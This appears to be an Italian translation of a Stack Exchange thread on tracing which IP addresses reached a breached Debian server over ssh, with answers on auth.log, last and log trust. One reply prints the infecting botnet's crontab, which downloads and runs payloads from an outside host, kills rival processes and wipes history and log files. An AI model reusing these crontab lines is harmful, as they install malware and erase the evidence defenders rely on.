Cronologia degli indirizzi IP che hanno avuto accesso a un server tramite ssh


42

Mi è venuto in mente che un mio server è stato violato e infettato da una nota botnet cinese.

Era un prototipo / test di una macchina virtuale con un proprio IP statico (indirizzo USA), quindi non è stato causato alcun danno (mi ci è voluto un po 'di tempo per capirlo).

Ora vorrei sapere quali IP sono stati utilizzati per l'intrusione per sapere se l'attacco è nato dalla Cina.

C'è un modo per visualizzare una cronologia delle connessioni ricevute su ssh sul server?

Modifica: il sistema è Linux Debian 7

Risposte:


45

Guarda l'output del lastcomando e qualsiasi cosa con un indirizzo IP o nome host invece di uno spazio vuoto è entrata nella rete. Se sshdè l'unico modo per farlo su questo sistema, allora eccoti.

In alternativa (se si tratta di Linux), è possibile controllare /var/log/secure(su distribuzioni basate su RH) o /var/log/auth.log(su distribuzioni basate su Debian) dove di sshdsolito si terrà traccia delle connessioni effettuate anche se non si traducono in accessi riusciti (che colpisce utmp/ wtmp, che è quello lastche leggerà da). Esempio:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

IIRC Solaris sshd(che potrebbe non essere necessariamente OpenSSH sshd) registrerà queste informazioni/var/adm/messages

MODIFICARE:

@derobert fa un punto eccellente. È importante ricordare che su qualsiasi sistema, se il tuo account superutente è compromesso, tutte le scommesse sono disattivate poiché i file di registro come /var/log/wtmpo /var/adm/messagespossono essere modificati dall'aggressore. Questo può essere mitigato se si spostano i log fuori dal server in un percorso sicuro.

Ad esempio, in un negozio in cui lavoravo in precedenza avevamo una macchina "Audit Vault" che era protetta in modo da ricevere solo i file di registro di controllo dai vari server nel data center. Consiglierei di avere una configurazione simile in futuro (dal momento che "I have a test machine" sembra che tu stia operando in un grande negozio)


7
La tua risposta copre quasi tutto, quindi non voglio aggiungere la mia ... ma per favore aggiungi qualcosa sulla falsariga di "Se l'attaccante ha ottenuto il root, nella maggior parte delle configurazioni, non ci si può fidare davvero dei dati di registrazione sulla scatola , poiché root può facilmente modificare i log. "
derobert,

1
@derobert, ho aggiunto alcuni dettagli lungo quello che mi avevi suggerito :)
Ramesh,

Aspetta, '/ var / log / secure' non è su Debian, è su Red Hat.
Secko,

@Secko Modificata la risposta per includere entrambi.
Bratchley

14

C'è un modo per visualizzare una cronologia delle connessioni ricevute su ssh sul server?

Questo dovrebbe darti un elenco:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

Quindi è possibile utilizzare geoiplookupdal geoip-binpacchetto per passare dal nome host o dall'indirizzo IP al paese.


Utile +1. Puoi aggiornare il comando per mostrare ora e data?
Eduard Florinescu,

3
@Eduard Florinescu Siamo spiacenti, le mie sedabilità non sono quel dio. Per fare qualcosa di più complesso, usa Python o un parser di log dedicato. Ma puoi provare questo:zgrep sshd /var/log/auth.log* -h |grep -F 'Failed password'
Torkel Bjørnson-Langen il

6

Bene, come previsto, e come ha detto @Joel Davis, tutti i log sono stati cancellati, ma c'era un file che @Ramesh ha menzionato che ha alcuni tentativi di accesso all'utente root ma non è riuscito a inserire la password corretta alcune volte, quindi la disconnessione per troppi tentativi.

Ho eseguito un traceroute su tre degli indirizzi e due sono cinesi e l'altro è pakistano; questi sono gli IP:

221.120.224.179
116.10.191.218
61.174.51.221

Ulteriori informazioni sulla botnet che è stata iniettata nel server dopo che è stata compromessa:

Gli hacker modificano crontab per eseguire 7 eseguibili che, ogni x quantità di tempo, consumeranno tutta la CPU, massimizzeranno l'output di rete del server, quindi semplicemente moriranno. Inoltre aggiungono il readme a crontab 100 volte per nascondere le righe aggiunte, quindi quando lo fai crontab -lsarai spammato dal readme con linee nascoste. Per aggirare questo, ho usato crontab -l | grep -v '^#'ed ecco l'output di quel comando:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

Come puoi vedere, tutti i file di registro vengono cancellati, ecco perché non sono stato in grado di recuperare molte informazioni.

Ha interrotto l'intero server (tutte le macchine virtuali) causando timeout sui siti e su proxmox. Ecco un grafico (i picchi denotano attivamente la botnet DDoS e notano che la rete è fuori): attività botnet

Di conseguenza aggiungerò l'intera gamma di indirizzi IP cinesi a un firewall per bloccare tutte le connessioni (non ho utenti cinesi, quindi non mi interessa), impedirò anche gli accessi root remoti e userò un lungo complesso Le password. Molto probabilmente cambierò anche la porta ssh e userò anche chiavi ssh private.


3
Questa è roba piuttosto spaventosa - hai idea di come abbiano avuto accesso al tuo sistema? Era semplicemente un attacco di forza bruta contro una password debole?
user35581

3

Da questa risposta, vedo le informazioni di seguito.

Parlando di server SSH, ti darò soluzioni da riga di comando.

Tieni traccia degli accessi e dei logout degli utenti . È facile, il file /var/log/auth.logdovrebbe contenere queste informazioni.

Traccia l'attività di quegli utenti : se sono in qualche modo innocenti, puoi controllare il file .bash_historynella loro home directory. Vedrai un elenco dei comandi che hanno eseguito. Il problema è ovviamente che possono eliminare o modificare questo file.

Impedire agli utenti di eliminare i registri : gli utenti non dovrebbero essere in grado di toccare auth.log. Per impedire loro di giocare con bash_historyte, devi fare un paio di trucchi.

Cosa succede se l'utente riesce ad ottenere l'accesso come root? : Sei fregato. A meno che non commetta un errore, sarà in grado di nascondere tutti i suoi passi.

Inoltre, da questa risposta, possiamo vedere l'indirizzo IP di un client usando la SSH_CLIENTvariabile.

Anche da questa risposta, vedo che la cronologia ssh potrebbe essere memorizzata in questi file.

In aggiunta a /var/log/lastlog, ci sono 3 file /var/rune /var/log: utmp, wtmpe btmp, che detengono informazioni su accessi attuali (e informazioni aggiuntive), storico e accessi non riusciti. Vedi wiki per una descrizione dettagliata. Non è possibile modificare i file con normali editor, ma è possibile cancellarli.


1

Il comando più semplice per ottenere gli ultimi 10 utenti connessi alla macchina è last|head.

Per ottenere tutti gli utenti basta usare il lastcomando


1

Questa macchina è stata compromessa. Ciò significa che tutti i dati su di esso, storici o attuali, non possono più essere attendibili.

In breve, la risposta è no. Non si può essere sicuri di aver trovato l'indirizzo di origine da qualsiasi file di registro registrato su questa macchina.

Pulisci e reinstalla. E patch.


1

Per vedere solo i tentativi di accesso riusciti con password:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted password for'

1

per debian la ricerca del test è leggermente diversa

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.